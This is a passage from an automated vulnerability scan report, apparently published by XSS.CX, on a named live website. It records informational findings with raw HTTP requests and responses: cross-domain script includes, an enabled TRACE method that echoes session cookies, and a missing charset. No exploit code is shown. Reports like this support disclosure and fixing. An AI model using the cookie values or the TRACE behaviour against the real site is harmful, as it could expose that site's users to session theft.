Host: www.lessonofpassion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:12:13 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 11695


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

7.3. http://www.lessonofpassion.com/lop_games.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /lop_games.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /lop_games.php?mygame=Gilligans%20Long%20Island HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:33 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 9290
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
</span>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

7.4. http://www.lessonofpassion.com/user.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

POST /user.php?type=login HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/lop_games.php?mygame=Gilligans%20Long%20Island
Content-Length: 61
Cache-Control: max-age=0
Origin: http://www.lessonofpassion.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmb=219032324; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

type=login&username=&password=&imageField.x=32&imageField.y=6

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:57:30 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 5340
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Lesso
...[SNIP]...
<link rel="stylesheet" href="nivo-slider.css" type="text/css" media="screen" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
</div>


<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

8. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.lessonofpassion.com
Cookie: e39a39214378e814

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 19:53:34 GMT
Server: Apache/2
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.lessonofpassion.com
Cookie: e39a39214378e814; PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c


9. HTML does not specify charset  previous
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


9.1. http://www.lessonofpassion.com/comlink.swf  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /comlink.swf

Request

GET /comlink.swf?username=&quest= HTTP/1.1
Host: www.lessonofpassion.com
Proxy-Connection: keep-alive
Referer: http://www.lessonofpassion.com/user.php?type=register
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=74fdfbcac72b7916790fd66bac6f2c6c; __utma=219032324.2109129217.1303071153.1303071153.1303071153.1; __utmc=219032324; __utmz=219032324.1303071153.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmb=219032324

Response

HTTP/1.1 404 Not Found
Date: Sun, 17 Apr 2011 19:57:40 GMT
Server: Apache/2
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 511
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>404 Not Found</TITLE>
</HEAD><BODY>
<H1>Not Found</H1>
The requested URL /comlink.swf?username=&amp;quest= was not found on this
...[SNIP]...

9.2. http://www.lessonofpassion.com/user.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lessonofpassion.com
Path:   /user.php

Request

GET /user.php HTTP/1.1
Host: www.lessonofpassion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 17 Apr 2011 20:12:11 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 46
Connection: close
Content-Type: text/html

<script>
location.href="index.php"
</script>

Report generated by XSS.CX at Sun Apr 17 17:28:04 CDT 2011.